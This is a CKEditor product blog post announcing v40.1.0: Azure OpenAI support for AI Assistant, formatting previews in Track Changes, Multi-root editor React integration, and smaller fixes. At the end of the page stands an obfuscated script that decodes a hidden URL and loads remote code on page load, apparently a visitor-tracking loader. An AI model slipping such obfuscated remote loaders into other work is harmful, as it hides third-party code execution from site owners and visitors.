Webinar: Level Up Your Drupal Content Editing with CKEditor Features

Sign up

CKEditor v40.1.0: Azure AI support and Track Changes improvements

After its launch in our 40.0.0 update, AI Assistant is getting more flexible – it’s now compatible with Azure OpenAI. On top of that, Track Changes now shows a preview of changes made to formatting, not just content.

There’s also a new React integration for the Multi-root editor, further improvements for CKBox integration, Paste from Office Enhanced, and the user experience are all included in the latest version of CKEditor, v40.1.0.

What is the latest version of CKEditor?

CKEditor v40.1.0 is the latest version, which includes improvements to the AI Assistant plugin and Track Changes.Iit also comes with enhancements to the user experience, CKBox integration and Paste from Office Enhanced improvements, as well as bug fixes.

NEW Multi-root editor React integration 

React integration has been long available for CKEditor 5, whether you’re using it with ready-to-use builds or from the source. Introduced earlier this year for situations involving multiple separate editable areas, the Multi-root editor is now also compatible with React.

undefined
An example knowledge hub content, utilizing the multi-root editor.

Combining the benefits of React integration with a Multi-root editor architecture is ideal for applications that demand flexibility and scalability in handling multiple editing instances or regions, offering advantages such as isolation and modularity.

A sample multi-root editor with real-time collaboration for React has also been released and available on GitHub.

UPDATE AI Assistant compatibility

Allowing you to enhance and automate content creation with the help of generative artificial intelligence, AI Assistant is now compatible with the Azure OpenAI service, alongside the standard OpenAI API.

The Azure OpenAI service is a partnership between Microsoft Azure and OpenAI, offering access to OpenAI’s large language models (LLMs) directly inside Azure. So if you already have an Azure setup, now you can also use the OpenAI service to power AI Assistant, which ensures private access and better control over your data security.

You can find more details about how to integrate the Azure OpenAI service with AI Assistant in our documentation.

A quick example of using custom prompts with AI Assistant.
A quick example of using custom prompts with AI Assistant.

Further work to improve and bring new capabilities to AI Assistant is already underway.  We’re keen to hear your feedback and gather insights on how you’re using the AI Assistant.

UPDATE Track Changes now displays formatting changes 

CKEditor v40.1.0 introduces a major update for the Track Changes feature. Previously, with Track Changes turned on, any formatting changes were simply shown with a blue highlight and a description – you couldn’t see how the suggested formatting would look. So, if a colleague made some text into a heading, or resized a large image to make it tiny, the change wasn’t obvious. In some cases, this also limited the editor’s functionality.

Now, styling suggestions are immediately reflected in the document, allowing you to get the full visual picture before deciding to accept or reject suggestions.

Easily track the styling changes made with the new suggestions.
Easily track the styling changes made with the new suggestions.

Please note that this new behavior will only apply to newly created suggestions. Any styling suggestions made before the update continue to work as they used to, with only the familiar blue highlight, and no formatting preview.

See the changelog to learn more.

UPDATE CKBox integration

CKEditor 5 now has more convenient integrations with CKBox, our modern file management solution. In this update are several fixes which significantly enhance image insertion from CKBox, offering a smoother user experience.

CKBox image insertion comparison
CKBox image insertion comparison

The release also addresses key issues:

  • Including the proper replacement of images when URLs are edited.

  • Better focus management post-image insertion.

  • Fixed `tokenUrl` configuration for more seamless integration.

To learn more about the corresponding updates in CKBox, you can read the latest CKBox release update.

Other improvements and fixes

Triple click before widgets

Issue with triple clicking to select content before widgets such as tables and images has been fixed.

undefined
Before (left) and after (right) triple click fixes.

Paste from Office Enhanced

Introduced earlier this year, Paste from Office Enhanced has been updated. While pasting, the plugin preserved too many unnecessary attributes and styles, in combination with the General HTML support plugin. With CKEditor v40.1.0, markup is fully cleaned up before pasting.

Accessibility enhancements for markers

Collaborating in CKEditor 5 is more accessible. Users aided by assistive technologies will now be notified when their selection enters or leaves a comment or a suggestion in the editor content.

Changes to the default insert image action

The latest update in the image insertion process aims to simplify and improve the user experience. Previously, the system detected the selection placement to determine whether to insert images as inline or block images.

Now, by default, all images will be inserted as block images. This means that inserting an image within a paragraph or other content blocks will automatically create a new block for the image, and users can later transform it into an inline image using the contextual toolbar. Further details and the relative changes to configuration settings can be found in the update guide.

Learn more about previous CKEditor 5 versions

Related posts

Subscribe to our newsletter

Keep your CKEditor fresh! Receive updates about releases, new features and security fixes.

Input email to subscribe to newsletter

Thanks for subscribing!

Hi there, any questions about products or pricing?

Questions about our products or pricing?

Contact our Sales Representatives.

Form content fields

Form submit

Hidden unused field.

We are happy to
hear from you!

Thank you for reaching out to the CKEditor Sales Team. We have received your message and we will contact you shortly.

(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});const f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KFSS6L');window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });